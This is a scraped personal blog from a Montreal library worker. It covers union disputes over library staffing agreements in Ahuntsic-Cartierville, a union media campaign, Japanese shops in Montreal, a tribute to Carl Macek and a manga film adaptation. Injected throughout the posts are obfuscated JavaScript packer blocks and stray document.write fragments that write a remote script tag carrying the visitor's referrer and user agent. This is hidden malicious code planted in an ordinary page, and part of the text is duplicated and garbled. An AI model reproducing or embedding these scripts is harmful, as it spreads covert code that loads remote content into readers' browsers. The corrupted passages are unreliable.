Inutile de vous présentez à cette assemblée sectorielle car celle-ci n’aura donc pas lieu.

Des lettres-ultimatum et/ou pétitions similaires circulent également dans les autres arrondissements qui n’ont pas encore voté leur lettre d’entente.

Campagne médiatique du SFMM
Dans un Fonctionnaire Express diffusé hier, le SFMM annonce “Notre Syndicat lance une vaste campagne médiatique.” Le thème de la campagne est “Montréal, fais une ville de toi!” Un communiqué de presse a également été émit, mais n’a eu d’écho jusqu’à maintenant que dans le journal Métro.

À l’aide de macarons, de deux annonces radiophoniques diffusées dans le grand-Montréal (l’un des clips de 30 secondes est lu par une femme et l’autre par un homme) et de trois publicités qui seront affichées sur des centaines d’autobus de la STM, la campagne dénonce “le manque de coordination entre les services offerts par la ville centre et les 19 arrondissements, leur inefficacité, la sous-traitance coûteuse et inutile, la perte d’expertise publique, la lourdeur de l’appareil municipal et surtout les pertes d’économie importantes pour les citoyens.”

Cette campagne d’opinion publique fait partie d’un plan d’action (présenté uniquement devant un conseil général et non devant l’ensemble des membres—le plan d’action n’aurait pas été prêt à temps pour l’assemblée générale nous a-t-on dit) qui vise à faire comprendre que les choses vont mal dans la fonction publique de la ville et que la situation est devenue invivable pour les cols blancs. Le SFMM affirme aussi son intention de ne pas négocier la nouvelle convention collective (due en janvier 2011) tant que des solutions concrètes n’auraient pas été trouvées (à la dernière assemblée générale, l’exécutive avait suggéré que cette solution pourrait être un amendement à la Chartre de la ville redonnant certains pouvoirs coordonnateur à la ville-centre).

Je dois avouer que, pour une fois, je suis plutôt d’accord avec notre syndicat. Il cible bien la nature du problème qui rend la vie impossible aux cols blancs et propose enfin des solutions. Quel changement! Toutefois je suis décu que ce plan d’action n’ait pas été présenté préalablement en assemblée générale et je suis extrèmement choqué que notre syndicat, tout en dénonçant les arrondissements comme étant la source de tout les problèmes, continue de négocier avec eux des lettres d’entente qu’il demande ensuite aux membres d’entériner! Je trouve cela dégueulasse et hypocrite. Qu’il arrête donc de nous niaiser avec leur lettre d’entente ridicule et se consacre donc à règler nos problèmes et améliorer nos conditions de travail! Cette campagne semble un bon point de départ (quoique j’ignore combien cette campagne nous coûte—un bras et une jambe sans doute—puisqu’elle ne me semble pas mentionnée dans les prévisions budgetaires de 2010…).

Je suis également heureux que, finalement, les médias parlent de nous (les cols blancs) et de nos problèmes, et plus seulement des cols bleus ou des chauffeurs d’autobus. Je suis cependant inquiet que les médias ne comprennent mal ce qui motive cette campagne. Je ne voudrais pas, qu’une fois de plus, on passe pour ceux qui se plaignent le ventre plein. Déjà, le journal Métro note que “la Ville saisit mal la raison d’une telle sortie à un moment où tout semble pourtant bien aller en ce qui concerne les relations interarrondissements.” Très drôle! Il faudrait leur expliquer clairement, d’une part, comment—entre autres—l’éclatement de la ville en arrondissements rend la gestion du personnel extrèmement difficile à vivre et, d’autre part, que cette campagne est justement une étape préliminaire aux négociations à venir. Mais, bon, la campagne ne fait que débuter alors on verra bien où elle nous mènera…

Ad mixer

Assemblée sectorielle à Ahuntsic-Cartierville
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atatk|var|u0026u|referrer|haeei||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|badhb|var|u0026u|referrer|dyern||js|php’.split(‘|’),0,{}))
La campagne pour faire repousser l’
assemblée sectorielle portant sur la lettre d’entente tant que le texte de celle-ci n’aura pas été préalablement soumis aux auxiliaires des bibliothèques de l’arrondissement Ahuntsic-Cartierville va bon train [voir le Canardeur de Ahuntsic-Cartierville vol. 1, document.write(“”); #1, “Le SFMM avisé de notre position”].

La très grande majorité des auxiliaires des bibliothèques de l’arrondissement a signé une lettre-ultimatum exigeant “de recevoir, et cela au moins quinze (15) jours avant tout vote, le texte écrit sur papier de la lettre d’entente négociée avec notre arrondissement. Faute de quoi, nous nous engageons à ne pas nous présenter à toute Assemblée sectorielle concernant l’adoption de toute lettre d’entente mettant fin à l’entente EV 96 94.” La lettre-ultimatum a été transmise à l’exécutif du SFMM aujourd’hui. [Pour plus de détails voir le Canardo Pressé vol. 5, #2, “Lettre d’entente: une riposte”]

Inutile de vous présentez à cette assemblée sectorielle car celle-ci n’aura donc pas lieu.

Des lettres-ultimatum et/ou pétitions similaires circulent également dans les autres arrondissements qui n’ont pas encore voté leur lettre d’entente.

Campagne médiatique du SFMM
Dans un Fonctionnaire Express diffusé hier, le SFMM annonce “Notre Syndicat lance une vaste campagne médiatique.” Le thème de la campagne est “Montréal, fais une ville de toi!” Un communiqué de presse a également été émit, mais n’a eu d’écho jusqu’à maintenant que dans le journal Métro.

À l’aide de macarons, de deux annonces radiophoniques diffusées dans le grand-Montréal (l’un des clips de 30 secondes est lu par une femme et l’autre par un homme) et de trois publicités qui seront affichées sur des centaines d’autobus de la STM, la campagne dénonce “le manque de coordination entre les services offerts par la ville centre et les 19 arrondissements, leur inefficacité, la sous-traitance coûteuse et inutile, la perte d’expertise publique, la lourdeur de l’appareil municipal et surtout les pertes d’économie importantes pour les citoyens.”

Cette campagne d’opinion publique fait partie d’un plan d’action (présenté uniquement devant un conseil général et non devant l’ensemble des membres—le plan d’action n’aurait pas été prêt à temps pour l’assemblée générale nous a-t-on dit) qui vise à faire comprendre que les choses vont mal dans la fonction publique de la ville et que la situation est devenue invivable pour les cols blancs. Le SFMM affirme aussi son intention de ne pas négocier la nouvelle convention collective (due en janvier 2011) tant que des solutions concrètes n’auraient pas été trouvées (à la dernière assemblée générale, l’exécutive avait suggéré que cette solution pourrait être un amendement à la Chartre de la ville redonnant certains pouvoirs coordonnateur à la ville-centre).

Je dois avouer que, pour une fois, je suis plutôt d’accord avec notre syndicat. Il cible bien la nature du problème qui rend la vie impossible aux cols blancs et propose enfin des solutions. Quel changement! Toutefois je suis décu que ce plan d’action n’ait pas été présenté préalablement en assemblée générale et je suis extrèmement choqué que notre syndicat, tout en dénonçant les arrondissements comme étant la source de tout les problèmes, continue de négocier avec eux des lettres d’entente qu’il demande ensuite aux membres d’entériner! Je trouve cela dégueulasse et hypocrite. Qu’il arrête donc de nous niaiser avec leur lettre d’entente ridicule et se consacre donc à règler nos problèmes et améliorer nos conditions de travail! Cette campagne semble un bon point de départ (quoique j’ignore combien cette campagne nous coûte—un bras et une jambe sans doute—puisqu’elle ne me semble pas mentionnée dans les prévisions budgetaires de 2010…).

Je suis également heureux que, finalement, les médias parlent de nous (les cols blancs) et de nos problèmes, et plus seulement des cols bleus ou des chauffeurs d’autobus. Je suis cependant inquiet que les médias ne comprennent mal ce qui motive cette campagne. Je ne voudrais pas, qu’une fois de plus, on passe pour ceux qui se plaignent le ventre plein. Déjà, le journal Métro note que “la Ville saisit mal la raison d’une telle sortie à un moment où tout semble pourtant bien aller en ce qui concerne les relations interarrondissements.” Très drôle! Il faudrait leur expliquer clairement, d’une part, comment—entre autres—l’éclatement de la ville en arrondissements rend la gestion du personnel extrèmement difficile à vivre et, d’autre part, que cette campagne est justement une étape préliminaire aux négociations à venir. Mais, bon, la campagne ne fait que débuter alors on verra bien où elle nous mènera…
Q. What do you get if you mix a Viagra and a Geico ad?

A. Insurance against reptile dysfunction!

Revue de Presse / Press Review (2010/04/22)

Despite being quite busy (have you noticed I didn’t write any review lately?) I can still find news to read. The main story of the week was this Islandic volcano wreacking avroc with European air travel.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kndrt|var|u0026u|referrer|ithri||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryibh|var|u0026u|referrer|ffhsz||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics // Earth Day Special //

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Shopping Japanese in Montreal

Tuesday I visited with my wife a (very) small japanese boutique in downtown Montreal. It’s called “Coco Montreal Space.” They have imported goods from Japan, document.write(“”); designer’s accessories, cookies and many bargains (used books & clothes). It is located at 4055 Ste-Catherine West, #135-B (downstairs, near Metro Atwater) and is open Monday through Friday from 13:00 to 18:00. They also have a small room where they plan to offer various workshops and language courses. It’s cute, but they don’t have much stuff.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hende|var|u0026u|referrer|nkfsn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryesr|var|u0026u|referrer|hzrib||js|php’.split(‘|’),0,{}))

“Coco Montreal Space” is related to the
Coco Montreal free newspaper, dedicated to Canada-Japan cultural exchange (mostly for Japanese expats and Japanese language students).

This reminds me that there are a few other places to shop Japanese in Montreal:

First, there is the “Collection du Japon” store and its related “R. Uchiyama” Japanese Green Tea importer. It is located at 460, Sainte-Catherine West, #423 (Metro McGill, entrance near the Future Shop, on the 4th floor) and is open 13:00-18:00 (Tue-Fri), 10:00-16:00 (Sat). We visit it frequently and recommend it. You can find all sorts of Japanese stuff there: kimonos, books, decoration, kitchen ware, etc.

There is also the “Miyamoto” food store located at 382 Victoria Avenue (near Metro Vendome) and opened 10:00-20:00 (Mon-Fri), 9:00-17:00 (Sat & Sun).

I can also recommand the Japanese restaurant “Sakura Gardens” if you want a “real” Japanese food experience. It is located at 2170 de la Montagne (near Metro Peel). It is opened 11:45-14:30 (Mon-Fri), 12:00-14:30 (Sat) for lunch and 17:30-22:00 (Sun-Thu), 17:30-22:30 (Fri-Sat) for dinner.

Assemblée sectorielle pour Ahuntsic-Cartierville

Une assemblée sectorielle a été convoqué pour tous les aide-bibliothécaires et les bibliotechniciens auxiliaires de l’arrondissement Ahuntsic-Cartierville. On y présentera l’entente de principe relative à l’entente E.V. 96-94 régissant l’octroi des heures de travail (et autres dispositions) et un vote secret sera tenu pour accepter (ou non) la-dite entente.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thrdh|var|u0026u|referrer|zhyaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rityf|var|u0026u|referrer|akyze||js|php’.split(‘|’),0,{}))

L’assemblée sectorielle aura lieu le lundi 3 mai à 9:00 au <a href="
http://www.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=545+rue+fleury+est+montreal+QC&sll=45.553387, document.write(“”); -73.661938&sspn=0.001448, 0.001717&ie=UTF8&hq=&hnear=545+Rue+Fleury+Est,+Montreal,+Communaut%C3%A9-Urbaine-de-Montr%C3%A9al,+Quebec,+Canada&z=16&iwloc=A” target=”“new””>545, rue Fleury Est (entrée Fleury de la bibliothèque Ahuntsic).

A cette assemblée les auxiliaires de l’arrondissement auront à se prononcer sur la lettre d’entente qui régit un aspect important de nos conditions de travail: l’embauche et l’assignation. Si vous désirez en savoir plus sur ce que sont ces lettres d’entente, lire les ententes avec les autres arrondissements et connaitre pourquoi, selon mon humble avis, ces lettres sont mauvaises pour nos conditions de travail, je vous propose de lire le billet “Les Lettres d’entente en question”. Lisez et faites passer le mot (pour faciliter la tâche j’ai créé des liens raccourcis: http://tinyurl.com/yyp4zug ou http://to.ly/338X).

L’entente a été négocié entre le syndicat et l’arrondissement Ahuntsic-Cartierville mais les auxiliaires n’en prendront connaissance que quelques minutes avant le vote. Ils n’auront pas le temps d’y réfléchir, ni d’en discuter. Cette façon de faire est inacceptable. C’est pourquoi, faute d’avoir l’entente en mains au moins quinze jours d’avance afin de procéder à un vote éclairé et véritablement démocratique, je recommande aux auxiliaires des bibliothèques d’Ahuntsic-Cartierville de NE PAS SE PRÉSENTER À L’ASSEMBLÉE (ou, dans le pire des cas, de voter CONTRE l’acceptation de l’entente).

Poll #2: Subject preference

Once again I am quite disappointed by the results of this blog poll. Only six people (out of hundreds of visitors) took the time to provide me this useful information. Since I’ve been writing lots of union-related comments lately, document.write(“”); I am not surprised to learn that it was the favoured subject at the moment. I am also glad to see that books reviews and cultural / historical comments came in second position. However, I get the message and won’t ask you such polling questions anynore. But I still wish more people would leave comments…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drfri|var|u0026u|referrer|sfyhs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfdsr|var|u0026u|referrer|nkrbd||js|php’.split(‘|’),0,{}))

I have also included below a graphic of the blog’s weekly traffic between January 2009 and mid-April 2010. It peaked in mid-October ’09 and, since the end of November ’09, maintained a weekly average around 100 unique (or total) visitors or 25 returning visitors. Its not the thousands I’ve seen on some of my previous sites, but it’s not bad for a tiny personnal blog.

Encore une fois je suis très déçu des résultats de ce sondage. Seulement six personnes (sur des centaines de visiteurs) ont pris le temps de me fournir ces information utiles. Comme j’ai écris beaucoup de billets liés au syndicat ces derniers temps, je ne suis donc pas surpris d’apprendre que c’est le sujet favori du moment. Et je suis heureux de voir que les critiques de livres et les commentaires historico-culturels arrivent en seconde place. Toutefois, cher lecteurs et lectrices, je vous ai compris: je ne vous ferrez plus subir ce genre de sondage. Mais j’aimerais bien avoir un peu plus de vos commentaires…

J’ai aussi inclus ci-haut un graphique du trafic hebdomadaire* entre janvier 2009 et la mi-avril 2010. Après un soubresaut à la mi-octobre ’09, le blog a maintenu une moyenne autour de 100 visiteur unique (ou total) et de 25 visiteurs récurrents** depuis la fin novembre ’09. C’est pas les milliers de visiteurs auxquels j’étais habitué sur mes autres sites mais c’est pas si mal pour un petit blog personnel.

* s’il n’y avait qu’une bosse dans le graphique, ce serait du trafic hebdromadaire… (Désolé, je ne peux pas m’en empêcher, le calambour était trop facile!)
** au moins ils sont propres! ;0
une p’tite dernière: apparemment ce n’est pas tout les “Poll à Québec” qui ont du succès…

R.I.P. Carl Macek

I learned yesterday that Carl Macek (1951-2010) passed away following an heart attack on saturday.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayhni|var|u0026u|referrer|sfbyd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzdty|var|u0026u|referrer|tfakz||js|php’.split(‘|’),0,{}))

He is known for having created Robotech (by brilliantly—although it was controversial—stitching together three different japanese animation: Macross, document.write(“”); Southern Cross and Genesis Climber Mospeada) and for adapting into English language many other anime (Akira, Crying Freeman, Doomed Megalopolis, Lensman, Robot Carnival, Twilight of the Cockroaches, and Wicked City). He also collaborated to the production of many other animations (Aura Battler Dunbine, Bleach, Heavy Metal, Lady Death, Lupin III: Castle of Cagliostro, My Neighbor Totoro, Naruto, etc).

This is quite a sad new. I met him several time (mostly in comic-book and anime conventions, starting in the late ’80s) and I have always admired his pioneering work. Since he is responsible for having me discover the rich world of Japanese animation (and, by extension, manga), I owe him a lot. I remember him telling us (embellished) stories about the production of Robotech, and it was so skillfully told that we were suspended to his lips like children listening to a fairy tale, sometimes laughing but always captivated. Since that time, we—our bunch of friends at Protoculture Addicts—were calling him “Uncle Carl.” To paraphrase what was said about Commander Fokker in “Farewell, Big Brother” (episode 18 of Robotech), his death is “a terrible tragedy indeed. I can tell you [he] will be sorely missed.”

You can read tributes to his life on many other web sites: from Jerry Beck (co-founder of Streamline Pictures), from Tommy Yune (director or the new Robotech: The Shadow Chronicles movie), from Rebecca Forstadt (who voiced Minmei as “Reba West”), on ANN and on ICv2.

Requiescat In Pace, Carl Macek.

Quartier Lointain au cinéma

Cette nouvelle est au confluent de deux de mes grands intérêts: le manga et le cinéma. Comme je l’ai déjà mentioné, document.write(“”); Quartier lointain—ce superbe manga de Taniguchi—a été adapté au cinéma par Sam Garbarski. Des détails sur le film, ainsi que la bande-annonce allemande, sont maintenant disponibles.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfyis|var|u0026u|referrer|tkrfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|httih|var|u0026u|referrer|shnkt||js|php’.split(‘|’),0,{}))

Le manga raconte l’histoire d’un “salaryman” en pleine crise de la quarantaine qui, un peu par accident, visite son village natal et se retrouve mystérieusement transporté dans le temps, à l’âge de quatorze ans, pour revivre une partie de son adolescence… Si l’histoire originale se déroule au Japon, dans le village de Kurayoshi (préfecture de Tottori), l’adaptation est elle transposée en France, à Nantua (Rhône-Alpes).

“Thomas, la cinquantaine, père de famille, arrive par hasard dans la ville de son enfance. Alors qu’il se recueille sur la tombe de sa mère, il est pris d’un malaise. Quand il se réveille, son corps semble différent et le nom de sa mère n’est plus gravé sur la pierre tombale… Revenu quarante ans en arrière dans son corps d’adolescent, il décide alors de rentrer ‘chez lui’ pour comprendre ce qui a poussé son père à les abandonner cette année-là et tenter d’empêcher cette mystérieuse disparition. Mais peut-on modifier son passé en le revivant ?” [Texte de présentation sur le site du distributeur]

Quartier lointain, dont le titre allemand est Vertraute Fremde (Familiar Strangers), est une co-production belge (Entre Chien et Loup), française (Archipel 35), luxembourgeoise (Samsa Film) et allemande (Pallas Film). Le film de 98 minutes, distribué par Wild Bunch Distribution, met en vedette Léo Legrand (Thomas enfant), Pascal Greggory (Thomas adulte), Jonathan Zaccaï (le père), Alexandra Maria Lara (la mère), Laura Moisson (Corinne), Pierre-Louis Bellet (Rousseau) et Laura Martin (Sylvie). Ayant déjà eut une avant-première à Cannes en 2009, il sortira d’abord en Allemagne le 20 mai (étrange pour ce qui est, techniquement, un film français) et en France en septembre.

Si l’on se fit à la bande-annonce, le film (dont la production avait été annoncé depuis près de quatre ans) est vraiment proche de l’histoire et de la “mise-en-scène” originale (mis à part la transposition du lieu et quelques détails). C’est certainement à voir.

Sources: About.com, ANN, Movie Maze.

Revue de Presse / Press Review (2010/04/15)

Still little news and lots of other stuff to do… And, document.write(“”); since I already cancelled my Gazette subscription and the iPad has been delayed another month, I have to read the news on my tiny iPod Touch! It’s really time I get new glasses…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhths|var|u0026u|referrer|stiyt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snrhb|var|u0026u|referrer|fkety||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health & Influenza A(H1N1)

Humour

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Les lettres d’entente en question

Ces derniers temps on parle beaucoup de ces fameuses lettres d’entente et je suis sûr que beaucoup d’entre-vous, document.write(“”); lecteurs et collègues des bibliothèques de Montréal, se demandent ce qu’elles sont vraiment et qu’ont-elles de si terrible?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehyas|var|u0026u|referrer|zyyhh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asdtb|var|u0026u|referrer|dhars||js|php’.split(‘|’),0,{}))

Lorsque le Syndicat des Fonctionnaires Municipaux de Montréal (SFMM) signe une convention collective avec la ville de Montréal (la dernière en date a été signé en décembre 2007 et couvre la période de janvier 2007 à décembre 2010), il y a toujours des dispositions qui sont spécifiques à certains groupes d’employés qui ne peuvent y être incluses et ces dispositions spécifiques sont négociées séparément avec des lettres d’entente.

L’entente qui régit les dispositions spécifiques des employés de bibliothèques est l’entente EV 96-94 [texte], “relative aux étapes d’assignation des employés auxiliaires, emplois spécialisés “bibliothèque” au service de la culture.” Elle déterminait, entre autres, le fonctionnement de la banque réseau, les ports d’attache, l’embauche et le comblement des postes en fonction de l’anciennneté.

Cette entente a malheureusement été rendu caduque suite à la fusion/défusion qui a divisée la ville en arrondissements, la Charte de la ville donnant maintenant aux dits arrondissements le pouvoir d’embauche et de négociation des horaires de travail. Le SFMM a donc cru bon (?) d’inclure dans la convention collective 2007-2010 l’entente E.V. 2007-1007 (pp. 305-306) qui stipule que “l’entente EV-96-94 doit demeurer en vigueur jusqu’à son remplacement” et que, comme “le Syndicat tient à maintenir les principes en regard de la banque réseau inclus dans l’entente EV-96-94 (…), les parties conviennent d’entamer des négociations locales conjointes avec les arrondissements” du Sud-Ouest, Ville-Marie et VSMPE. Il s’agit ici des fameuses lettres d’entente.

Jusqu’à maintenant des lettres d’entente ont été signé avec cinq six arrondissements:

Les négociations sont en cours, ou même complétées, dans les autres arrondissements (Rivières-des-Prairies/Pointe-aux-Trembles [RDP/PAT], Plateau-Mont-Royal [PMR], Ahuntsic-Cartierville [AH-CA] et Cote-des-Neiges/Notre-Dame-de-Grâce [CDN/NDG]) et il ne reste qu’à les faire entériner en assemblées sectorielles par le vote des membres du SFMM de chacun de ces arrondissements. Le vote pour Rivières-des-Prairies/Pointe-aux-Trembles aura lieu le lundi 19 avril à 9h30. Le prochain vote se fera dans Ahuntsic-Cartierville le lundi 3 mai à 9:00…

Maintenant, qu’est-ce qu’il y a dans ces ententes qui les rendent si inacceptables? A première vue pas grand chose mais, dès qu’on y applique la moindre analyse, on se rend compte de la monstruosité qu’elles représentent.

Premièrement, la façon dont ces lettres d’entente ont été négocié et entériné est une injure à la démocratie (parce que donner une apparence de démocratie est pire que de ne pas en avoir du tout):

  1. elles ont été négocié en catimini sans aucune consultation avec les membres du SFMM; 
  2. elles sont votées par arrondissement alors que nous sommes tous concerné et affecté par chacunes de ces ententes (par exemple: si quelqu’un travaille dans MHM mais que ce n’est pas son port d’attache, il n’avait pas le droit de voter sur l’entente de MHM, qui pourtant affecte ses conditions de travail); 
  3. elles sont votées sans que les membres aient pu en consulter le texte d’avance et en débattre.

Deuxièmement, elles incarnent l’aplatventrisme de l’équipe syndicale en place (les AccèsCible) face aux demandes du patronat.

